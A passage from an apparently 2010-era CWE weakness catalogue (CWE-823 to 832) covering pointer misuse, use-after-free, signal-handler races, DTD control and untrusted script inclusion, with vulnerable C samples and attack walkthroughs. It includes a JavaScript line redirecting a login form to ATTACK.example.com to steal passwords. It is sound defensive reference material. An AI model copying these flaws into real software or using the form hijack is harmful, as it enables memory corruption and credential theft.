If the untrusted pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.

Observed Examples

Reference	Description
CVE-2007-2500	large number of elements leads to a free of an arbitrary address
CVE-2007-5657	values used as pointer offsets
CVE-2008-1686	array index issue (CWE-129) with negative offset, used to dereference a function pointer
CVE-2008-1807	invalid numeric field leads to a free of arbitrary memory locations, then code execution.
CVE-2008-4114	untrusted offset in kernel
CVE-2009-0690	negative offset leads to out-of-bounds read
CVE-2009-1097	portions of a GIF image used as offsets, causing corruption of an object pointer.
CVE-2009-2687	Language interpreter does not properly handle invalid offsets in JPEG image, leading to out-of-bounds memory access and crash.
CVE-2009-2694	Instant messaging library does not validate an offset value specified in a packet.
CVE-2009-3129	Spreadsheet program processes a record with an invalid size field, which is later used as an offset.
CVE-2010-1281	Multimedia player uses untrusted value from a file when using file-pointer calculations.
CVE-2010-2160	Invalid offset in undocumented opcode leads to memory corruption.
CVE-2010-2866	negative value (signed) causes pointer miscalculation
CVE-2010-2867	a return value from a function is sign-extended if the value is signed, then used as an offset for pointer arithmetic
CVE-2010-2872	signed values cause incorrect pointer calculation
CVE-2010-2873	"blind trust" of an offset value while writing heap memory allows corruption of function pointer,leading to code execution
CVE-2010-2878	"buffer seek" value - basically an offset?

Relationships

Maintenance Notes

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

CWE-824: Access of Uninitialized Pointer

Weakness ID: 824 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The program accesses or uses a pointer that has not been initialized.

Extended Description

If the pointer contains an uninitialized value, then the value might not point to a valid memory location. This could cause the program to read from or write to unexpected memory locations, leading to a denial of service. If the uninitialized pointer is used as a function call, then arbitrary functions could be invoked. If an attacker can influence the portion of uninitialized memory that is contained in the pointer, this weakness could be leveraged to execute code or perform other attacks.

Depending on memory layout, associated memory management behaviors, and program operation, the attacker might be able to influence the contents of the uninitialized pointer, thus gaining more fine-grained control of the memory location to be accessed.

Terminology Notes

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

Common Consequences

Confidentiality
Read memory

If the uninitialized pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.

Availability
DoS: crash / exit / restart

If the uninitialized pointer references a memory location that is not accessible to the program, or points to a location that is "malformed" (such as NULL) or larger than expected by a read or write operation, then a crash may occur.

Integrity
Confidentiality
Availability
Execute unauthorized code or commands

If the uninitialized pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.

Observed Examples

Reference	Description
CVE-2003-1201	LDAP server does not initialize members of structs, which leads to free of uninitialized pointer if an LDAP request fails.
CVE-2006-0054	Firewall can crash with certain ICMP packets that trigger access of an uninitialized pointer.
CVE-2006-4175	LDAP server mishandles malformed BER queries, leading to free of uninitialized memory
CVE-2006-6143	Uninitialized function pointer in freed memory is invoked
CVE-2007-1213	Crafted font leads to uninitialized function pointer.
CVE-2007-2442	zero-length input leads to free of uninitialized pointer.
CVE-2007-4000	Unchecked return values can lead to a write to an uninitialized pointer.
CVE-2007-4639	Step-based manipulation: invocation of debugging function before the primary initialization function leads to access of an uninitialized pointer and code execution.
CVE-2007-4682	Access of uninitialized pointer might lead to code execution.
CVE-2008-2934	Crafted GIF image leads to free of uninitialized pointer.
CVE-2009-0040	Crafted PNG image leads to free of uninitialized pointer.
CVE-2009-0846	Invalid encoding triggers free of uninitialized pointer.
CVE-2009-1415	Improper handling of invalid signatures leads to free of invalid pointer.
CVE-2009-1721	Free of an uninitialized pointer.
CVE-2009-2768	Pointer in structure is not initialized, leading to NULL pointer dereference (CWE-476) and system crash.
CVE-2010-0211	chain: unchecked return value (CWE-252) leads to free of invalid, uninitialized pointer (CWE-824).

CanPrecede	B	125	Out-of-bounds Read	1000	253
ChildOf	C	465	Pointer Issues	699	784
CanPrecede	B	787	Out-of-bounds Write	1000	1211

Research Gaps

Under-studied and probably under-reported as of September 2010. This weakness has been reported in high-visibility software, but applied vulnerability researchers have only been investigating it since approximately 2008, and there are only a few public reports. Few reports identify weaknesses at such a low level, which makes it more difficult to find and study real-world code examples.

References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Variable Initialization", Page 312.. 1st Edition. Addison Wesley. 2006.

Maintenance Notes

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

CWE-825: Expired Pointer Dereference

Weakness ID: 825 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The program dereferences a pointer that contains a location for memory that was previously valid, but is no longer valid.

Extended Description

When a program releases memory, but it maintains a pointer to that memory, then the memory might be re-allocated at a later time. If the original pointer is accessed to read or write data, then this could cause the program to read or modify data that is in use by a different function or process. Depending on how the newly-allocated memory is used, this could lead to a denial of service, information exposure, or code execution.

Alternate Terms

Dangling pointer

Terminology Notes

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

Common Consequences

Confidentiality
Read memory

If the expired pointer is used in a read operation, an attacker might be able to control data read in by the application.

Availability
DoS: crash / exit / restart

If the expired pointer references a memory location that is not accessible to the program, or points to a location that is "malformed" (such as NULL) or larger than expected by a read or write operation, then a crash may occur.

Integrity
Confidentiality
Availability
Execute unauthorized code or commands

If the expired pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.

Demonstrative Examples

Example 1:

The following code shows a simple example of a use after free error:

C Example: *Bad Code*

```
char* ptr = (char*)malloc (SIZE);
if (err) {
  abrt = 1;
  free(ptr);
}
...
if (abrt) {
  logError("operation aborted before commit", ptr);
}
```

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

Example 2:

The following code shows a simple example of a double free error:

C Example: *Bad Code*

```
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
  free(ptr);
}
...
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

Error conditions and other exceptional circumstances

Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

Observed Examples

Reference	Description
CVE-2007-1211	read of value at an offset into a structure after the offset is no longer valid
CVE-2008-5013	access of expired memory address leads to arbitrary code execution
CVE-2010-3257	stale pointer issue leads to denial of service and possibly other consequences

Potential Mitigations

Architecture and Design

Choose a language that provides automatic memory management.

Implementation

When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.

CWE-826: Premature Release of Resource During Expected Lifetime

Weakness ID: 826 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The program releases a resource that is still intended to be used by the program itself or another actor.

Extended Description

This weakness focuses on errors in which the program should not release a resource, but performs the release anyway. This is different than a weakness in which the program releases a resource at the appropriate time, but it maintains a reference to the resource, which it later accesses. For this weaknesses, the resource should still be valid upon the subsequent access.

When a program releases a resource that is still being used, it is possible that operations will still be taken on this resource, which may have been repurposed in the meantime, leading to issues similar to CWE-825. Consequences may include denial of service, information exposure, or code execution.

Common Consequences

Confidentiality
Read application data
Read memory

If the released resource is subsequently reused or reallocated, then a read operation on the original resource might access sensitive data that is associated with a different user or entity.

Availability
DoS: crash / exit / restart

When the resource is released, the software might modify some of its structure, or close associated channels (such as a file descriptor). When the software later accesses the resource as if it is valid, the resource might not be in an expected state, leading to resultant errors that may lead to a crash.

Integrity
Confidentiality
Availability
Execute unauthorized code or commands
Modify application data
Modify memory

When the resource is released, the software might modify some of its structure. This might affect program logic in the sections of code that still assume the resource is active.

If the released resource is related to memory and is used in a function call, or points to unexpected data in a write operation, then code execution may be possible upon subsequent accesses.

Observed Examples

Reference	Description
CVE-2009-3547	chain: race condition might allow resource to be released before operating on it, leading to NULL dereference

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	666	Operation on Resource in Wrong Phase of Lifetime	**699** **1000**	1033
CanPrecede	B	672	Operation on a Resource after Expiration or Release	1000	1041

Research Gaps

Under-studied and under-reported as of September 2010. This weakness has been reported in high-visibility software, although the focus has been primarily on memory allocation and de-allocation. There are very few examples of this weakness that are not directly related to memory management, although such weaknesses are likely to occur in real-world software for other types of resources.

CWE-827: Improper Control of Document Type Definition

Weakness ID: 827 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software does not restrict a reference to a Document Type Definition (DTD) to the intended control sphere. This might allow attackers to reference arbitrary DTDs, possibly causing the software to expose files, consume excessive system resources, or execute arbitrary http requests on behalf of the attacker.

Extended Description

As DTDs are processed, they might try to read or include files on the machine performing the parsing. If an attacker is able to control the DTD, then the attacker might be able to specify sensitive resources or requests or provide malicious content.

For example, the SOAP specification prohibits SOAP messages from containing DTDs.

Applicable Platforms

Languages

- XML

Architectural Paradigms

- Web-based

Common Consequences

Confidentiality
Read files or directories

If the attacker is able to include a crafted DTD and a default entity resolver is enabled, the attacker may be able to access arbitrary files on the system.

Availability
DoS: resource consumption (CPU)
DoS: resource consumption (memory)

The DTD may cause the parser to consume excessive CPU cycles or memory using techniques such as nested or recursive entity references (CWE-776).

Integrity
Confidentiality
Availability
Access Control
Execute unauthorized code or commands
Gain privileges / assume identity

The DTD may include arbitrary HTTP requests that the server may execute. This could lead to other attacks leveraging the server's trust relationship with other entities.

Observed Examples

Reference	Description
CVE-2010-2076	Product does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service.

Relationships

CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe

Weakness ID: 828 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software defines a signal handler that contains code sequences that are not asynchronous-safe, i.e., the functionality is not reentrant, or it can be interrupted.

Extended Description

This can lead to an unexpected system state with a variety of potential consequences depending on context, including denial of service and code execution.

Signal handlers are typically intended to interrupt normal functionality of a program, or even other signals, in order to notify the process of an event. When a signal handler uses global or static variables, or invokes functions that ultimately depend on such state or its associated metadata, then it could corrupt system state that is being used by normal functionality. This could subject the program to race conditions or other weaknesses that allow an attacker to cause the program state to be corrupted. While denial of service is frequently the consequence, in some cases this weakness could be leveraged for code execution.

There are several different scenarios that introduce this issue:

Invocation of non-reentrant functions from within the handler. One example is malloc(), which modifies internal global variables as it manages memory. Very few functions are actually reentrant.

Code sequences (not necessarily function calls) contain non-atomic use of global variables, or associated metadata or structures, that can be accessed by other functionality of the program, including other signal handlers. Frequently, the same function is registered to handle multiple signals.

The signal handler function is intended to run at most one time, but instead it can be invoked multiple times. This could happen by repeated delivery of the same signal, or by delivery of different signals that have the same handler function (CWE-831).

Note that in some environments or contexts, it might be possible for the signal handler to be interrupted itself.

If both a signal handler and the normal behavior of the software have to operate on the same set of state variables, and a signal is received in the middle of the normal execution's modifications of those variables, the variables may be in an incorrect or corrupt state during signal handler execution, and possibly still incorrect or corrupt upon return.

Common Consequences

Integrity
Confidentiality
Availability
DoS: crash / exit / restart
Execute unauthorized code or commands

The most common consequence will be a corruption of the state of the software, possibly leading to a crash or exit. However, if the signal handler is operating on state variables for security relevant libraries or protection mechanisms, the consequences can be far more severe, including protection mechanism bypass, privilege escalation, or information exposure.

Demonstrative Examples

Example 1:

This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

Bad Code

```
char *logMessage;
void handler (int sigNum) {
  syslog(LOG_NOTICE, "%s\n", logMessage);
  free(logMessage);
  /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
  sleep(10);
  exit(0);
}
int main (int argc, char* argv[]) {
  logMessage = strdup(argv[1]);
  /* Register signal handlers. */
  signal(SIGHUP, handler);
  signal(SIGTERM, handler);
  /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
  sleep(10);
}
```

The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:

The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.

The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.

The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").

SIGHUP-handler begins to execute, calling syslog().

syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.

The attacker then sends SIGTERM.

SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.

The SIGTERM handler is invoked.

SIGTERM-handler records the log message using syslog(), then frees the logMessage variable.

At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.

Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [R.828.1]; the original example was shown to be exploitable for code execution.

Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.

Example 2:

The following code registers a signal handler with multiple signals in order to log when a specific event occurs and to free associated memory before exiting.

C Example: *Bad Code*

```
#include <signal.h>
#include <syslog.h>
#include <string.h>
#include <stdlib.h>
void *global1, *global2;
char *what;
void sh (int dummy) {
  syslog(LOG_NOTICE,"%s\n",what);
  free(global2);
  free(global1);
  /* Sleep statements added to expand timing window for race condition */
  sleep(10);
  exit(0);
}
int main (int argc,char* argv[]) {
  what=argv[1];
  global1=strdup(argv[2]);
  global2=malloc(340);
  signal(SIGHUP,sh);
  signal(SIGTERM,sh);
  /* Sleep statements added to expand timing window for race condition */
  sleep(10);
  exit(0);
}
```

However, the following sequence of events may result in a double-free (CWE-415):

a SIGHUP is delivered to the process

sh() is invoked to process the SIGHUP

This first invocation of sh() reaches the point where global1 is freed

At this point, a SIGTERM is sent to the process

the second invocation of sh() might do another free of global1

this results in a double-free (CWE-415)

This is just one possible exploitation of the above code. As another example, the syslog call may use malloc calls which are not async-signal safe. This could cause corruption of the heap management structures. For more details, consult the example within "Delivering Signals for Fun and Profit" (see references).

Observed Examples

Reference	Description
CVE-2001-1349	unsafe calls to library functions from signal handler
CVE-2002-1563	SIGCHLD not blocked in a daemon loop while counter is modified, causing counter to get out of sync.
CVE-2004-0794	SIGURG can be used to remotely interrupt signal handler; other variants exist.
CVE-2004-2259	handler for SIGCHLD uses non-reentrant functions

Reference	Description
CVE-2006-5051	Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition that leads to a double free (CWE-415).
CVE-2008-4109	Signal handler uses functions that ultimately call the unsafe syslog/malloc/s*printf, leading to denial of service via multiple login attempts

Potential Mitigations

Implementation
Architecture and Design
High

Eliminate the usage of non-reentrant functionality inside of signal handlers. This includes replacing all non-reentrant library calls with reentrant calls.

Note: This will not always be possible and may require large portions of the software to be rewritten or even redesigned. Sometimes reentrant-safe library alternatives will not be available. Sometimes non-reentrant interaction between the state of the system and the signal handler will be required by design.

Implementation

Where non-reentrant functionality must be leveraged within a signal handler, be sure to block or mask signals appropriately. This includes blocking other signals within the signal handler itself that may also leverage the functionality. It also includes blocking all signals reliant upon the functionality when it is being accessed or modified by the normal behaviors of the software.

Relationships

CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Weakness ID: 829 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.

Extended Description

When including third-party functionality, such as a web widget, library, or other source of functionality, the software must effectively trust that functionality. Without sufficient protection mechanisms, the functionality could be malicious in nature (either by coming from an untrusted source, being spoofed, or being modified in transit from a trusted source). The functionality might also contain its own weaknesses, or grant access to additional functionality and state information that should be kept private to the base system, such as system state information, sensitive application data, or the DOM of a web application.

This might lead to many different consequences depending on the included functionality, but some examples include injection of malware, information exposure by granting excessive privileges or permissions to the untrusted functionality, DOM-based XSS vulnerabilities, stealing user's cookies, or open redirect to malware (CWE-601).

Common Consequences

Confidentiality
Integrity
Availability
Execute unauthorized code or commands

An attacker could insert malicious functionality into the program by causing the program to download code that the attacker has placed into the untrusted control sphere, such as a malicious web site.

Detection Methods

Automated Static Analysis - Binary / Bytecode
SOAR Partial

According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode
SOAR Partial

According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with manual results interpretation
SOAR Partial

According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Forced Path Execution
Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Manual Static Analysis - Source Code
SOAR High

According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code
SOAR Partial

According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR High

According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Attack Modeling

Demonstrative Examples

This login webpage includes a weather widget from an external website:

HTML Example: *Bad Code*

```
<div class="header"> Welcome!
  <div id="loginBox">Please Login:
    <form id ="loginForm" name="loginForm" action="login.php" method="post">
    Username: <input type="text" name="username" />
    <br/>
    Password: <input type="password" name="password" />
    <input type="submit" value="Login" />
    </form>
  </div>
  <div id="WeatherWidget">
    <script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
  </div>
</div>
```

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

Javascript Example: *Attack*

```
...Weather widget code....
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
```

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

Observed Examples

Reference	Description
CVE-2002-1704	PHP remote file include.
CVE-2002-1707	PHP remote file include.
CVE-2004-0030	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2004-0068	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2004-0127	Directory traversal vulnerability in PHP include statement.
CVE-2004-0128	Modification of assumed-immutable variable in configuration script leads to file inclusion.
CVE-2004-0285	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2005-1681	PHP remote file include.
CVE-2005-1864	PHP file inclusion.
CVE-2005-1869	PHP file inclusion.
CVE-2005-1870	PHP file inclusion.
CVE-2005-1964	PHP remote file include.
CVE-2005-1971	Directory traversal vulnerability in PHP include statement.
CVE-2005-2086	PHP remote file include.
CVE-2005-2154	PHP local file inclusion.
CVE-2005-2157	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2005-2162	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2005-2198	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2005-3335	PHP file inclusion issue, both remote and local; local include uses ".." and "%00" characters as a manipulation, but many remote file inclusion issues probably have this vector.
CVE-2010-2076	Product does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service.

Potential Mitigations

Architecture and Design
Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Architecture and Design
Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [R.829.1] provide this capability.

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Architecture and Design
Operation
Sandbox or Jail
Limited

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Architecture and Design
Operation
Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.829.2]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Implementation
Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Architecture and Design
Operation
Identify and Reduce Attack Surface

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.

This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Architecture and Design
Implementation
Identify and Reduce Attack Surface

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

Operation
Firewall
Moderate

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

CWE-830: Inclusion of Web Functionality from an Untrusted Source

Weakness ID: 830 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software includes web functionality (such as a web widget) from another domain, which causes it to operate within the domain of the software, potentially granting total access and control of the software to the untrusted source.

Extended Description

Including third party functionality in a web-based environment is risky, especially if the source of the functionality is untrusted.

Even if the third party is a trusted source, the software may still be exposed to attacks and malicious behavior if that trusted source is compromised, or if the code is modified in transmission from the third party to the software.

This weakness is common in "mashup" development on the web, which may include source functionality from other domains. For example, Javascript-based web widgets may be inserted by using '<SCRIPT SRC="http://other.domain.here">' tags, which causes the code to run in the domain of the software, not the remote site from which the widget was loaded. As a result, the included code has access to the local DOM, including cookies and other data that the developer might not want the remote site to be able to access.

Such dependencies may be desirable, or even required, but sometimes programmers are not aware that a dependency exists.

Common Consequences

Confidentiality
Integrity
Availability
Execute unauthorized code or commands

Demonstrative Examples

This login webpage includes a weather widget from an external website:

HTML Example: *Bad Code*

```
<div class="header"> Welcome!
  <div id="loginBox">Please Login:
    <form id ="loginForm" name="loginForm" action="login.php" method="post">
    Username: <input type="text" name="username" />
    <br/>
    Password: <input type="password" name="password" />
    <input type="submit" value="Login" />
    </form>
  </div>
  <div id="WeatherWidget">
    <script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
  </div>
</div>
```

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

Javascript Example: *Attack*

```
...Weather widget code....
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
```

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

CWE-831: Signal Handler Function Associated with Multiple Signals

Weakness ID: 831 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software defines a function that is used as a handler for more than one signal.

Extended Description

While sometimes intentional and safe, when the same function is used to handle multiple signals, a race condition could occur if the function uses any state outside of its local declaration, such as global variables or non-reentrant functions, or has any side effects.

An attacker could send one signal that invokes the handler function; in many OSes, this will typically prevent the same signal from invoking the handler again, at least until the handler function has completed execution. However, the attacker could then send a different signal that is associated with the same handler function. This could interrupt the original handler function while it is still executing. If there is shared state, then the state could be corrupted. This can lead to a variety of potential consequences depending on context, including denial of service and code execution.

Another rarely-explored possibility arises when the signal handler is only designed to be executed once (if at all). By sending multiple signals, an attacker could invoke the function more than once. This may generate extra, unintended side effects. A race condition might not even be necessary; the attacker could send one signal, wait until it is handled, then send the other signal.

Common Consequences

Availability
Integrity
Confidentiality
Access Control
Other
DoS: crash / exit / restart
Execute unauthorized code or commands
Read application data
Gain privileges / assume identity
Bypass protection mechanism
Varies by context

The most common consequence will be a corruption of the state of the software, possibly leading to a crash or exit. However, if the signal handler is operating on state variables for security relevant libraries or protection mechanisms, the consequences can be far more severe, including protection mechanism bypass, privilege escalation, or information exposure.

Demonstrative Examples

Example 1:

This code registers the same signal handler function with two different signals.

Bad Code

```
void handler (int sigNum) {
  ...
}
int main (int argc, char* argv[]) {
  signal(SIGUSR1, handler)
  signal(SIGUSR2, handler)
}
```

Example 2:

This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

Bad Code

```
char *logMessage;
void handler (int sigNum) {
  syslog(LOG_NOTICE, "%s\n", logMessage);
  free(logMessage);
  /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
  sleep(10);
  exit(0);
}
int main (int argc, char* argv[]) {
  logMessage = strdup(argv[1]);
  /* Register signal handlers. */
  signal(SIGHUP, handler);
  signal(SIGTERM, handler);
  /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
```

```
  sleep(10);
}
```

The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:

The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.

The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.

The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").

SIGHUP-handler begins to execute, calling syslog().

syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.

The attacker then sends SIGTERM.

SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.

The SIGTERM handler is invoked.

SIGTERM-handler records the log message using syslog(), then frees the logMessage variable.

At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.

Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [R.831.1]; the original example was shown to be exploitable for code execution.

Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.

CWE-832: Unlock of a Resource that is not Locked

Weakness ID: 832 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software attempts to unlock a resource that is not locked.

Extended Description

Depending on the locking functionality, an unlock of a non-locked resource might cause memory corruption or other modification to the resource (or its associated metadata that is used for tracking locks).

Common Consequences

Integrity
Confidentiality
Availability
Other
DoS: crash / exit / restart
Execute unauthorized code or commands
Modify memory
Other

Depending on the locking being used, an unlock operation might not have any adverse effects. When effects exist, the most common consequence will be a corruption of the state of the software, possibly leading to a crash or exit; depending on the implementation of the unlocking, memory corruption or code execution could occur.

Observed Examples

Reference	Description
CVE-2008-4302	Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash.
